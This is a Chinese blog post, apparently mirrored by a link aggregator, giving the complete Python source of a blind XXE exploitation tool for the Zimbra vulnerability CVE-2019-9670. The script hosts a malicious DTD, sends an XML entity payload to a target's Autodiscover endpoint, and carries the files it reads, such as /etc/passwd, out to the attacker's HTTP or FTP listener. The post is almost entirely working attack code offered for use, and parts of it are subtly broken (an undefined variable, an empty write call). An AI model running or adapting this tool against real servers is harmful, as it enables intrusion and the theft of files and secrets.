3

渗透工具开发——blind XXE利用平台的实现

 2 years ago
source link: https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7%E5%BC%80%E5%8F%91-blind-XXE%E5%88%A9%E7%94%A8%E5%B9%B3%E5%8F%B0%E7%9A%84%E5%AE%9E%E7%8E%B0
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x04 开源代码

这里以Zimbra XXE漏洞(CVE-2019-9670)为例,开发一个blind XXE利用平台

完整代码如下:

#Python3
import sys
import urllib3
import requests
import threading
import socket
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


filetoread = ""
xxeplatform_url = ""
xxeplatform_http_port = ""
xxeplatform_ftp_port = ""


class XXERequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("file.dtd"):
            print("[+] Delivering DTD file to " + self.client_address[0])

            if xxeplatform_ftp_port == "false":
                xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://{xxeplatform_url}:{xxeplatform_http_port}/?requestfiledata=%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
            else:
                xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://{xxeplatform_url}:{xxeplatform_ftp_port}/%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_ftp_port=xxeplatform_ftp_port)

            self.send_response(200)
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))

        if "?requestfiledata=" in self.path:
            print("[+] Read file content successfully. The contents are as follows:")
            print(self.path[18:])

    def do_POST(self):
        print(self.path)
        post_data = self.rfile.read(length).decode()
        print(post_data)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write()
       
#Reference:https://github.com/TheTwitchy/xxer/
class FTPserverThread(threading.Thread):
    def __init__(self, conn_addr):
        conn, addr = conn_addr
        self.conn = conn
        self.addr = addr
        threading.Thread.__init__(self)

    def run(self):
        self.conn.send(b'220 Welcome!\r\n')
        print("[+] Read file content successfully. The contents are as follows:")
        while True:
            data = self.conn.recv(1024)
            if not data:
                break
            else:
                if "RETR" in bytes.decode(data):
                    print(bytes.decode(data)[5:], end='')
                elif "CWD" in bytes.decode(data):
                    print(bytes.decode(data)[4:], end='')

                #print("FTP: recvd '%s'" % bytes.decode(data))
                if "LIST" in bytes.decode(data):
                    self.conn.send(b"drwxrwxrwx 1 owner group          1 Feb 21 04:37 test\r\n")
                    self.conn.send(b"150 Opening BINARY mode data connection for /bin/ls\r\n")
                    self.conn.send(b"226 Transfer complete.\r\n")
                elif "USER" in bytes.decode(data):
                    self.conn.send(b"331 password please\r\n")
                elif "PORT" in bytes.decode(data):
                    self.conn.send(b"500 PORT command error\r\n")
                elif "RETR" in bytes.decode(data):
                    self.conn.send(b"500 Sorry.\r\n\r\n")
                else:
                    self.conn.send(b"230 more data please\r\n")


class FTPserver(threading.Thread):
    def __init__(self, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("0.0.0.0", port))
        threading.Thread.__init__(self)

    def run(self):
        self.sock.listen(5)
        while True:
            th = FTPserverThread(self.sock.accept())
            th.daemon = True
            th.start()

    def stop(self):
        self.sock.close()


def send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url):

        xxe_data = r"""<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "http://{xxeplatform_url}:{xxeplatform_http_port}/file.dtd">
        %dtd;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>""".format(xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)

        headers = {
            "Content-Type":"application/xml"
        }

        r = requests.post("https://"+target_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=30)


if __name__ == '__main__':
    if len(sys.argv)!=5:
        print("blind_XXEPlatform_CVE-2019-9670.py") 
        print("It supports receiving results through HTTP or FTP protocol.")           
        print("Usage:")
        print("%s <xxeplatform_url> <xxeplatform_http_port> <xxeplatform_ftp_port> <target_url>"%(sys.argv[0]))
        print("Note:")
        print("If you set the value of <xxeplatform_ftp_port> to false, the HTTP mode will be turned on and the results will be received through HTTP")        
        print("Eg.")
        print("%s 192.168.1.1 80 false 192.168.1.2"%(sys.argv[0]))
        print("%s 192.168.1.1 80 21 192.168.1.2"%(sys.argv[0]))
        sys.exit(0)
    else:
        xxeplatform_url = sys.argv[1]       
        xxeplatform_http_port = sys.argv[2]
        xxeplatform_ftp_port = sys.argv[3]
        target_url = sys.argv[4]
        print("[*] HTTP Server listening on %s"%(xxeplatform_http_port))
        httpd = HTTPServer(('0.0.0.0', int(xxeplatform_http_port)), XXERequestHandler)
        handlerthr = Thread(target=httpd.serve_forever, args=())
        handlerthr.daemon = True
        handlerthr.start()

        if xxeplatform_ftp_port == "false":
            print("[*] Receive results over HTTP protocol")
        else:
            print("[*] FTP Server listening on %s" % (xxeplatform_ftp_port))
            t_ftpd = FTPserver(int(xxeplatform_ftp_port))
            t_ftpd.daemon = True
            t_ftpd.start()
            print("[*] Receive results over FTP protocol")            

        try:
            while 1:
                filetoread = input("Input the file path to read(Eg. /etc/passwd):")
                send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url)

        except KeyboardInterrupt:
            pass

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK